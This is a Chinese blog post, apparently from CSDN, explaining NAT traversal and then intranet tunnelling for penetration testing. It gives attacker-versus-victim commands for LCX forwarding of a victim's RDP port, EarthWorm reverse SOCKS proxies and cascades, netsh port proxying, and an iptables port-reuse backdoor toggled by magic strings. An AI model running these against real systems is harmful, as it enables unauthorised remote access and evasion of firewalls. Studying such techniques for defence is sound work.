了解内网穿透

本文详细介绍了内网穿透的概念,包括NAT穿透的原理和方法,以及在不同网络环境下如何实现通信。内网穿透工具有LCX、NETSH、regeorg和Earthworm等,用于在内网主机间建立数据通道。此外,还提到了端口复用技术,通过iptables规则实现端口转发,以开放内网服务给外部。这些技术在远程访问、穿透防火墙等方面有广泛应用。
摘要由CSDN通过智能技术生成

内网穿透的概念:

内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT
设备屏蔽而正确路由到内网主机。下面就相互通信的主机在网络中与 NAT 设备的相对位置介绍内网穿透方法。

通信双方一台位于 NAT 之后:
一台主机有一个公网 IP,另一台主机有一个内网 IP。
Client A 位于 NAT 之后,并拥有[IP 地址:端口][10.0.0.11234],Client B位于 NAT 之前,并拥有[IP 地址:端口][138.76.29.71234]NAT 拥有公网 IP 155.99.25.11。
由于 Client B 有一个公网 IP,Client A 可以直接通过 TCP 连接到[138.76.29.71234],然而,如果 Client B 向 Client A 发起主动连接,则不会成功。此时,需要一个公有的服务器辅助进行内网穿透。
Client A 和 Client B 向服务器发起登陆请求,并保持一个 TCPUDP 连接,服务器记录其 IP 地址和端口号,这里服务器对 Client A 是记录其经过 NAT 映射之后的 IP 和端口号。
当 Client B 想连接 Client A 时,首先向服务器提出请求,服务器在收到请求后向 Client A 发出打洞命令,并将 Client B 的[IP 地址:端口]对发给 Client A,Client A 根据接收到的 IP地址和端口号向 Client B 发起 TCP 连接或发送 UDP 数据包。
接下来 Client A 和Client B 之间便可以建立数据传输通道。


通信双方主机均位于NAT设备之后:
两台主机都处于内网中。服务器记录的[IP 地址:端口]对是 Client A 和 Client B 经过 NAT 映射之后的IP 地址和端口号,此时,Client A 和 Client B 之间任意方向的连接请求都会被对方的 NAT 设备屏蔽。
Client A 首先向服务器提出连接请求,服务器将 Client A 的 IP地址和端口号对[155.99.25.11:51200]发给 Client B,并向 Client B 发出打洞命令;
Client B 收到服务器的打洞命令后首先向[155.99.25.11:51200]发送一定数目的 UDP探测包或 TCP 连接请求,在 NAT B 上打一个方向为[155.99.25.11:51200]的洞,Client B 随后向服务器报告打洞完成;
服务器在收到 Client B 的报告后将 Client B 的公网IP 地址和端口号对[110.10.33.105000],此时由于 NAT B 上已经留下了对应于[155.99.25.11:51200]方向的洞,Client A 向[110.10.33.105000]发出的数据包或连接请求将不会被丢弃。

内网转发:

lcx,netsh,iptables

LCX:
攻击者ip:192.168.1.2
受害者ip:192.168.1.3

将lcx.exe上传到受害者主机上,执行:
lcx.exe -slave 192.168.1.2 8080 192.168.1.3 3389
然后攻击者主机上执行:
lcx.exe -listen 8080 9999
这样就将受害者主机的3389服务转发到攻击者本地的9999端口上了。只要攻击者访问127.0.0.1:9999就可以连接到受害者的远程桌面
NETSH:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport


listenaddress – 等待连接的本地IP地址。

listenport – 本地侦听TCP端口。

connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)

connectport – 一个TCP端口

内网代理:regeorg,Earthworm,SwitchyOmega

EW:
攻击主机:  ./ew_linux -s rcsocks -l 1080 -e 1234
受害主机:  ew_win -s rsscocks -d 攻击主机地址 -e 1234

SO:
在这里插入图片描述

多级级联

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks:

$ ./ew -s rcsocks -l 1080 -e 8888
 
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
 
$ ./ew -s lcx_listen -l 9999 -e 7777
 
$ ./ew -s rssocks -d 127.0.0.1 -e 7777

ICMP/UDP内网穿透:

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

端口复用:

端口复用是指不同的应用程序使用相同端口进行通讯,内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。

# 新建端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# 开启端口复用
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

https://blog.csdn.net/shuteer_xu/article/details/110675863?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162520788416780264096306%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=162520788416780264096306&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v29-7-110675863.first_rank_v2_pc_rank_v29&utm_term=%E7%AB%AF%E5%8F%A3%E5%A4%8D%E7%94%A8&spm=1018.2226.3001.4187

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值